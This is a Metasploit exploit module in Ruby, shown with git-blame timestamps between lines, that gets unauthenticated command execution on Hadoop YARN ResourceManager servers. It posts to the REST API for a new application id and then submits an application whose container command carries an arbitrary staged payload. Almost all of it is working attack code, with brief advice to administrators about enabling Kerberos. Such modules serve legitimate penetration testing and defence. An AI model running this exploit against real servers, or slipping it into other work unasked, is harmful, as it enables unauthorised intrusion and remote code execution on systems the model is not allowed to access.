2018-05-15 03:47:20 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
2018-07-12 21:32:09 -05:00
2018-05-15 03:47:20 -04:00
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: CmdStager
2018-07-01 22:43:07 -04:00
def initialize ( info = { } )
2018-05-15 03:47:20 -04:00
super ( update_info ( info ,
2018-07-01 22:43:07 -04:00
'Name' = > 'Hadoop YARN ResourceManager Unauthenticated Command Execution' ,
2018-05-15 03:47:20 -04:00
'Description' = > %q{
2023-02-15 12:37:06 +01:00
This module uses Hadoop's standard ResourceManager REST API to execute arbitrary commands on an unsecured Hadoop server.
Hadoop administrators should enable Kerberos authentication for these endpoints by changing the 'hadoop.security.authentication' setting in 'core-site.xml' from 'simple' (the default) to 'kerberos' before exposing the node to the network.
2018-05-15 03:47:20 -04:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
2018-07-12 21:32:09 -05:00
'cbmixx' , # Proof of concept
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
2018-05-15 03:47:20 -04:00
] ,
'References' = >
[
2018-07-12 21:32:09 -05:00
[ 'URL' , 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf' ] ,
2023-02-15 12:37:06 +01:00
[ 'URL' , 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn' ] ,
# Note, there will never be a CVE for this issue, since this is a misconfiguration by the administrator rather than a vulnerability in the software.
# Hadoop installations should always configure Kerberos authentication before being exposed to the network,
# since the default configuration does not require authentication.
[ 'URL' , 'https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html' ]
2018-05-15 03:47:20 -04:00
] ,
'Platform' = > 'linux' ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'Targets' = >
[
2018-07-12 21:32:09 -05:00
[ 'Automatic' , { } ]
2018-05-15 03:47:20 -04:00
] ,
'Privileged' = > false ,
2020-11-16 11:31:59 -06:00
'DisclosureDate' = > '2016-10-19' ,
2018-05-15 03:47:20 -04:00
'DefaultTarget' = > 0
2018-07-12 21:32:09 -05:00
) )
2018-05-15 03:47:20 -04:00
2018-07-01 22:43:07 -04:00
register_options ( [ Opt :: RPORT ( 8088 ) ] )
2018-05-15 03:47:20 -04:00
end
def check
2018-07-01 23:17:34 -04:00
begin
res = send_request_cgi (
2018-07-12 21:32:09 -05:00
'uri' = > normalize_uri ( target_uri . path , '/ws/v1/cluster/apps/new-application' ) ,
'method' = > 'POST'
2018-07-01 23:17:34 -04:00
)
2018-07-12 21:32:09 -05:00
rescue Rex :: ConnectionError
2018-07-01 23:17:34 -04:00
vprint_error ( " #{ peer } - Connection failed " )
2018-05-15 04:27:36 -04:00
return CheckCode :: Unknown
2018-05-15 03:47:20 -04:00
end
2018-05-15 05:18:38 -04:00
if res && res . code == 200 && res . body . include? ( 'application-id' )
2018-08-03 01:39:37 -04:00
return CheckCode :: Appears
2018-05-15 04:27:36 -04:00
end
CheckCode :: Safe
2018-05-15 03:47:20 -04:00
end
def exploit
2018-05-15 04:27:36 -04:00
print_status ( 'Sending Command' )
2018-05-15 03:47:20 -04:00
execute_cmdstager
end
def execute_command ( cmd , opts = { } )
res = send_request_cgi (
2018-07-12 21:32:09 -05:00
'uri' = > normalize_uri ( target_uri . path , '/ws/v1/cluster/apps/new-application' ) ,
'method' = > 'POST'
2018-05-15 03:47:20 -04:00
)
2019-08-07 22:44:38 -05:00
2019-08-08 10:06:40 +08:00
unless res && res . code == 200 && res . body . include? ( 'application-id' )
fail_with ( Failure :: NotFound , 'Could not retrieve application-id' )
end
2018-05-15 03:47:20 -04:00
app_id = res . get_json_document [ 'application-id' ]
post = {
2018-07-12 21:32:09 -05:00
'application-id' = > app_id ,
'application-name' = > Rex :: Text . rand_text_alpha_lower ( 4 .. 12 ) ,
'application-type' = > 'YARN' ,
'am-container-spec' = > {
'commands' = > { 'command' = > cmd . to_s }
2018-05-15 03:47:20 -04:00
}
}
2018-07-12 21:32:09 -05:00
send_request_cgi (
'uri' = > normalize_uri ( target_uri . path , '/ws/v1/cluster/apps' ) ,
'method' = > 'POST' ,
'ctype' = > 'application/json' ,
'data' = > post . to_json
2018-05-15 03:47:20 -04:00
)
end
2018-07-12 21:32:09 -05:00
2018-05-15 03:47:20 -04:00
end